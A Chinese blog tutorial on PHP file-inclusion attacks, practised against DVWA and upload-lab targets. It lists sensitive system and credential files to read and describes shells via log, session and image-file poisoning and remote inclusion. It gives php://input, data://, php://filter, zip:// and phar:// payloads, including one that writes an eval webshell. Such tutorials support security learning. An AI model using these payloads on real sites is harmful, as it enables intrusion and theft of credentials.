文件包含漏洞

1.本地文件包含

(1)读取敏感文件

形式:http://www.baidu.com/index.php?file=test.txt

windows常见敏感文件:
C:\boot.ini                                                                          查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml                    iis配置文件
C:\windowslrepairsame                                                     存储windows系统初次安装密码
C:\ProgramFiles\mysql\my.ini                                            mysql配置信息
C:\ProgramFiles\mysql\data\mysql\user.MYD                   mysql root密码
C:\windows\win.ini                                                             系统信息

linux常见敏感文件:

etc/httpd/conf/httpd.conf                                                      Apache配置信息
/etc/passwd                                                                         账户信息
/etc/shadow                                                                         账户密码文件
/etc/apache2/apache2.conf                                                 Apache2默认配置文件
/etc/my.conf                                                                         mysql配置文件
/etc/php/5.6/apache2/php.ini/                                              php相关配置

 (2)包含本地文件getshell

A.包含系统文件

首先利用浏览器来访问一句话木马,可以看见会报错,这是正常的

我们可以在日志文件里看到我们的访问记录,由于编码问题,会导致我们的一句话木马中一些符号被编码,所以我们使用bp进行抓包然后对其更改,更改好之后我们在日志文件里可以看见一句话木马正常输出

此时即可成功包含文件getshell

B.包含上传文件

以upload靶场第十四题为例

首先上传一张图片马,再使用文件包含漏洞运行图片马中的恶意漏洞

./代表当前目录,在当前目录,加不加./是一样的,不在当前目录就不能用./

2.远程文件包含

先在桌面上创建一个.php文件,写入一句话木马,接着用python3启动http服务

接着在目标浏览器上包含该文件

首先我们对本机进行包含,可以看到可以包含并能成功访问桌面

接着对dvwa靶场进行包含

两个127.0.0.1所代表的意义不一样,第一个是目标服务器地址,第二个是攻击者服务器地址

3.其他利用方式

(1)Php://input

注意:请求正文和请求头之间要空一行

如若要写代码,例如一句话木马,则将php代码改为以下语句

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["lay-down"]);?>');?>

在dvwa目录下我们可以看到成功上传了一个shell.php文件

(2)Data://

写入格式:

data://text/plain,[php代码]

data://text/plain;base64,[base64编码的php代码]

(3)Php://filter

php://filter是一种元封装器,设计用于数据流打开时的筛选过滤。根据名字,flter,可以很容易想到这个协议可以用来过滤一些东西。主要用来查看源码。在进行php代码审计时,需要查看目标的源代码。但是利用文件包含漏洞直接包含 php 文件时会被解析,不能看到源码,这时可以用 php://filter来读取源代码文件。

前提条件:

allow_url_fopen:on/off
allow_url_include :on/off

写入格式:

php://filter/read=convert.base64-encode/resource=index.php

使用不同的参数可以达到不同的目的和效果:

resource=<要过滤的数据流>   指定了你要筛选过滤的数据流。
read=<读链的筛选列表>         可以设定一个或多个过滤器名称,以管道符(I)分隔。
write=<写链的筛选列表>         可以设定一个或多个过滤器名称,以管道符(I)分

其他过滤器:

A. 字符串过滤器
string.rot13        进行rot13转换
string.toupper     将字符全部大写
string.tolower     将字符全部小写
string.strip_tags 去除空字符、HTML 和 PHP 标记后的结果 

B. 转换过滤器
convert.base64-encode         base64 编码
convert.base64-decode         base64 解码
convert.quoted-printable-encode  quoted-printable 编码(也是另一种将二进制进行编码的方案)
convert.quoted-printable-decode  quoted-printable 解码
convert.iconv     实现任意两种编码之间的转换

C. 压缩过滤器
zlib.deflate     压缩过滤器
zlib.inflate     解压过滤器
bzip2.compress     压缩过滤器
bzip2.decompress     解压过滤器

D. 加密过滤器
mcrypt.*                  加密过滤器
mdecrypt.*              解密过滤器

(4)zip://

上传格式:

zip://绝对(相对)路径/xx.zip%23被压缩的文件

先创建一个.php的文件,往里面写入一句话木马后将其压缩为一个.zip文件,因为一个网站里一般只允许上传图片,所以我们将其后缀改为.jpg后放入D:\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi目录

相对路径:

(5)Phar://

上传格式:

phar://相对路径/xx.zip/被压缩的文件

4.Session文件包含

Java是将用户的session存入内存中,而PHP则是将session以文件的形式存储在服务器某个文件中,可以在php.ini里面设置session的存储位置session.savepath。在很多时候服务器都是按照默认设置来运行的,这个时候假如我们发现了一个没有安全措施的session包含漏洞就可以尝试利用默认的会话存放路径去包含利用.

session文件包含漏就是在用户可以控制session文件中的一部分信息,然后将这部分信息变成我们的精心构造的恶意代码,之后去包含含有我们传入恶意代码的这个session文件就可以达到攻击效果。

创建一个.php文件,内容为:

<?php

session_start();

$username = $_POST['username'];

$_SESSION["username"] = $username;

?>

我们在浏览器中打开该文件,用post模块输入一句话木马

通过抓包找到session_id

在phpstudy中找到该文件打开发现木马注入成功

  • 27
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值